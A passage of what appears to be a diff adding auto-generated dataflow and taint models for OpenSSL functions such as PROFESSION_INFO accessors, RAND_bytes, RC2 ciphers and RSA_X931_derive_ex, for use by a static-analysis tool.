"(POLICYINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "POLICYQUALINFO_free", "(POLICYQUALINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "POLICYQUALINFO_free", "(POLICYQUALINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "POLICY_CONSTRAINTS_free", "(POLICY_CONSTRAINTS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "POLICY_CONSTRAINTS_free", "(POLICY_CONSTRAINTS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "POLICY_MAPPING_free", "(POLICY_MAPPING *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "POLICY_MAPPING_free", "(POLICY_MAPPING *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PROFESSION_INFO_free", "(PROFESSION_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PROFESSION_INFO_free", "(PROFESSION_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PROFESSION_INFO_get0_addProfessionInfo", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[**addProfessionInfo]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_addProfessionInfo", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[*addProfessionInfo]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_namingAuthority", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[**namingAuthority]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_namingAuthority", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[*namingAuthority]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_professionItems", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[**professionItems]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_professionItems", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[*professionItems]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_professionOIDs", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[**professionOIDs]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_professionOIDs", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[*professionOIDs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_registrationNumber", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[**registrationNumber]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_get0_registrationNumber", "(const PROFESSION_INFO *)", "", "Argument[*0].Field[*registrationNumber]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_addProfessionInfo", "(PROFESSION_INFO *,ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**addProfessionInfo]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_addProfessionInfo", "(PROFESSION_INFO *,ASN1_OCTET_STRING *)", "", "Argument[1]", "Argument[*0].Field[*addProfessionInfo]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_namingAuthority", "(PROFESSION_INFO *,NAMING_AUTHORITY *)", "", "Argument[*1]", "Argument[*0].Field[**namingAuthority]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_namingAuthority", "(PROFESSION_INFO *,NAMING_AUTHORITY *)", "", "Argument[1]", "Argument[*0].Field[*namingAuthority]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_professionItems", "(PROFESSION_INFO *,stack_st_ASN1_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**professionItems]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_professionItems", "(PROFESSION_INFO *,stack_st_ASN1_STRING *)", "", "Argument[1]", "Argument[*0].Field[*professionItems]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_professionOIDs", "(PROFESSION_INFO *,stack_st_ASN1_OBJECT *)", "", "Argument[*1]", "Argument[*0].Field[**professionOIDs]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_professionOIDs", "(PROFESSION_INFO *,stack_st_ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*professionOIDs]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_registrationNumber", "(PROFESSION_INFO *,ASN1_PRINTABLESTRING *)", "", "Argument[*1]", "Argument[*0].Field[**registrationNumber]", "value", "dfc-generated"] + - ["", "", True, "PROFESSION_INFO_set0_registrationNumber", "(PROFESSION_INFO *,ASN1_PRINTABLESTRING *)", "", "Argument[1]", "Argument[*0].Field[*registrationNumber]", "value", "dfc-generated"] + - ["", "", True, "PROXY_CERT_INFO_EXTENSION_free", "(PROXY_CERT_INFO_EXTENSION *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PROXY_CERT_INFO_EXTENSION_free", "(PROXY_CERT_INFO_EXTENSION *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "PROXY_POLICY_free", "(PROXY_POLICY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "PROXY_POLICY_free", "(PROXY_POLICY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "Poly1305_Init", "(POLY1305 *,const unsigned char[32])", "", "Argument[*1]", "Argument[*0].Field[*nonce]", "taint", "dfc-generated"] + - ["", "", True, "Poly1305_Init", "(POLY1305 *,const unsigned char[32])", "", "Argument[1]", "Argument[*0].Field[*nonce]", "taint", "dfc-generated"] + - ["", "", True, "Poly1305_Update", "(POLY1305 *,const unsigned char *,size_t)", "", "Argument[*0].Field[*num]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "Poly1305_Update", "(POLY1305 *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "Poly1305_Update", "(POLY1305 *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "Poly1305_Update", "(POLY1305 *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "Poly1305_Update", "(POLY1305 *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "taint", "dfc-generated"] + - ["", "", True, "RAND_bytes", "(unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RAND_bytes", "(unsigned char *,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RAND_bytes_ex", "(OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RAND_bytes_ex", "(OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RAND_file_name", "(char *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RAND_file_name", "(char *,size_t)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RAND_file_name", "(char *,size_t)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "RAND_get0_primary", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RAND_get0_primary", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RAND_get0_private", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RAND_get0_public", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RAND_priv_bytes", "(unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RAND_priv_bytes", "(unsigned char *,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RAND_priv_bytes_ex", "(OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RAND_priv_bytes_ex", "(OSSL_LIB_CTX *,unsigned char *,size_t,unsigned int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[*0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cbc_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "RC2_decrypt", "(unsigned long *,RC2_KEY *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RC2_decrypt", "(unsigned long *,RC2_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ecb_encrypt", "(const unsigned char *,unsigned char *,RC2_KEY *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ecb_encrypt", "(const unsigned char *,unsigned char *,RC2_KEY *,int)", "", "Argument[*2].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ecb_encrypt", "(const unsigned char *,unsigned char *,RC2_KEY *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ecb_encrypt", "(const unsigned char *,unsigned char *,RC2_KEY *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_encrypt", "(unsigned long *,RC2_KEY *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RC2_encrypt", "(unsigned long *,RC2_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "RC2_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "RECORD_LAYER_init", "(RECORD_LAYER *,SSL_CONNECTION *)", "", "Argument[*1]", "Argument[*0].Field[**s]", "value", "dfc-generated"] + - ["", "", True, "RECORD_LAYER_init", "(RECORD_LAYER *,SSL_CONNECTION *)", "", "Argument[1]", "Argument[*0].Field[*s]", "value", "dfc-generated"] + - ["", "", True, "RIPEMD160", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "RIPEMD160", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "RIPEMD160", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "RIPEMD160", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "RIPEMD160_Final", "(unsigned char *,RIPEMD160_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RIPEMD160_Transform", "(RIPEMD160_CTX *,const unsigned char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RIPEMD160_Transform", "(RIPEMD160_CTX *,const unsigned char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RIPEMD160_Update", "(RIPEMD160_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "RIPEMD160_Update", "(RIPEMD160_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "RIPEMD160_Update", "(RIPEMD160_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "RSAPrivateKey_dup", "(const RSA *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "RSAPrivateKey_dup", "(const RSA *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSAPrivateKey_dup", "(const RSA *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSAPrivateKey_dup", "(const RSA *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSAPrivateKey_dup", "(const RSA *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSAPublicKey_dup", "(const RSA *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "RSAPublicKey_dup", "(const RSA *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSAPublicKey_dup", "(const RSA *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSAPublicKey_dup", "(const RSA *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSAPublicKey_dup", "(const RSA *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSAZ_1024_mod_exp_avx2", "(unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],const unsigned long[16],unsigned long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSAZ_512_mod_exp", "(unsigned long[8],const unsigned long[8],const unsigned long[8],const unsigned long[8],unsigned long,const unsigned long[8])", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "RSA_OAEP_PARAMS_free", "(RSA_OAEP_PARAMS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "RSA_OAEP_PARAMS_free", "(RSA_OAEP_PARAMS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "RSA_PSS_PARAMS_dup", "(const RSA_PSS_PARAMS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "RSA_PSS_PARAMS_dup", "(const RSA_PSS_PARAMS *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSA_PSS_PARAMS_dup", "(const RSA_PSS_PARAMS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSA_PSS_PARAMS_dup", "(const RSA_PSS_PARAMS *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSA_PSS_PARAMS_dup", "(const RSA_PSS_PARAMS *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSA_PSS_PARAMS_free", "(RSA_PSS_PARAMS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "RSA_PSS_PARAMS_free", "(RSA_PSS_PARAMS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*10]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*11]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*10]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*11]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*1]", "Argument[*7]", "value", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*2]", "Argument[*7]", "value", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*3]", "Argument[*10]", "value", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*3]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*4]", "Argument[*10]", "value", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*5]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*5]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*6]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*6]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*6]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*6]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "RSA_X931_derive_ex", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB 